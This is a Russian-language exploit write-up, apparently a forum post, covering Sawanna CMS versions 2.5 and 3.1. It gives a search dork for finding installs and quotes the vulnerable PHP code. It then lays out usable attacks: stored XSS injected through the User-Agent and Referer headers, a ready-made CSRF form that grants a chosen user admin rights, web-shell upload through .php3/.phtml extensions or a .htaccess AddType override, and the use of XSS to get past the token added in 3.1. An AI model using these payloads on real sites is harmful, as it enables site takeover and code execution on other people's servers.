Продукт: Sawanna CMS
Официальный сайт: http://sawanna.org/
Дорк: "Powered by Sawanna CMS"
Version: 2.5 (возможно более ранние)
Stored XSS
Требования: -
Описание: User-agent и referer обрабатываются только mysql_real_escape_string(). HTML код попадает в базу и выводится в разделе статискика админ-панели.
Уязвимый код:
/sawanna/log/log.inc.php
PHP код:
$referer=isset($_SERVER['HTTP_REFERER']) ? $this->db->escape_string($_SERVER['HTTP_REFERER']) : '-';
$query=!empty($_SERVER['QUERY_STRING']) ? $this->db->escape_string($_SERVER['QUERY_STRING']) : '-';
$user_agent=!empty($_SERVER['HTTP_USER_AGENT']) ? $this->db->escape_string($_SERVER['HTTP_USER_AGENT']) : '-';
...............
if (!($this->db->query("insert into ".DB_PREFIX."_log (ip,referer,query,user_agent,status,access_time) values ('".$this->ip."','".$referer."','".$query."','".$user_agent."','".$status."','".$access_time."')")))
{
$this->error=$this->db->error;
return false;
}
return true;
/module/services/statistic.php
PHP код:
$this->db->query("select * from ".DB_PREFIX."_log order by access_time desc");
$co=0;
while ($log=$this->db->fetch_array()) {
$co++;
if ($co<$current) continue;
$html.='<b>[string]date[/string] : '.date('d.m.Y H:i:s',$log['access_time']).'</b><br />[string]ip[/string] : '.$log['ip'].'<br />[string]query[/string] : '.$log['query'].'<br />[string]referer[/string] : '.$log['referer'].'<br />[string]user_agent[/string] : '.$log['user_agent'].'<br />[string]status[/string] : '.$log['status'].'<br /><hr /><br />';
if ($co>=$this->limit+$current-1) break;
}
...............
echo $html;
Эксплуатация: HTML/JS помещается в UA или Referer. После этого загоняем админа посмотреть статистику.
Код:
Host: target.ru
User-Agent: [XSS]
Referer: [XSS]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
XSRF
Требования: -
Описание: Формы в админке никак не защищены от XSRF. Можно понаделать много интересного.
Например, сделать произвольного пользователя админом.
Эксплуатация:
Код HTML:
<form action="http://target.ru/index.php?admin/&component=userAdmin&act=doedit_alt&id=[ID]" method="post">
<input type="hidden" name="user_mail" value="[MAIL]" />
<input type="hidden" name="user_group" value="1" />
<input type="hidden" name="user_status" value="1" />
<input type="submit" value="Отправить" />
</form>
Или вставить в каждую страницу произвольный html/js. Требуется включенное дополнение
Custom Code (HTML,JavaScript), оно есть "из коробки", но по дефолту отключено. Ни его включение, ни вставка кода от XSRF не защищены. Эксплуатация аналогично.
Примечание: чудесно юзается вместе а активной XSS.
Shell Upload
Требования: Права администратора &&
ALLOW_UPLOAD_ALL=1 (по дефолту 0)
Описание: При
ALLOW_UPLOAD_ALL=1 дает заливать все, кроме .pl .php .exe
При
ALLOW_UPLOAD_ALL=0 идет проверка типа(что пофиг) и расширения по белому списку(что плохо).
Уязвимый код:
/module/services/upload.php
PHP код:
if (substr($filename,-4) == '.php' || substr($filename,-3) == '.pl' || substr($filename,-4) == '.exe')
{
$this->response.= '[string]invalid_file_type[/string]';
continue;
}
...............
elseif (ALLOW_UPLOAD_ALL==1) {
$path=ROOT_DIR."/upload/docs/".$filename;
if (copy($uploaded_file['tmp_name'],$path))
$this->response.= '[string]file_upload_ok[/string]';
Эксплуатация: .php3 .phtml и так далее. Либо
.htaccess с содржанием
Код:
AddType application/x-httpd-php .php <extension>
Version: 3.1
Stored XSS
Требования: -
Описание: абсолюно аналогично ранним версиям.
От XSRF добавили защиту с помощью токена, но, используя XSS вполне можно получить админские права своему юзеру.
Интерес в исследовании 2.5 был шкурный, а 3.1 - спортивный, поэтому вторая часть короче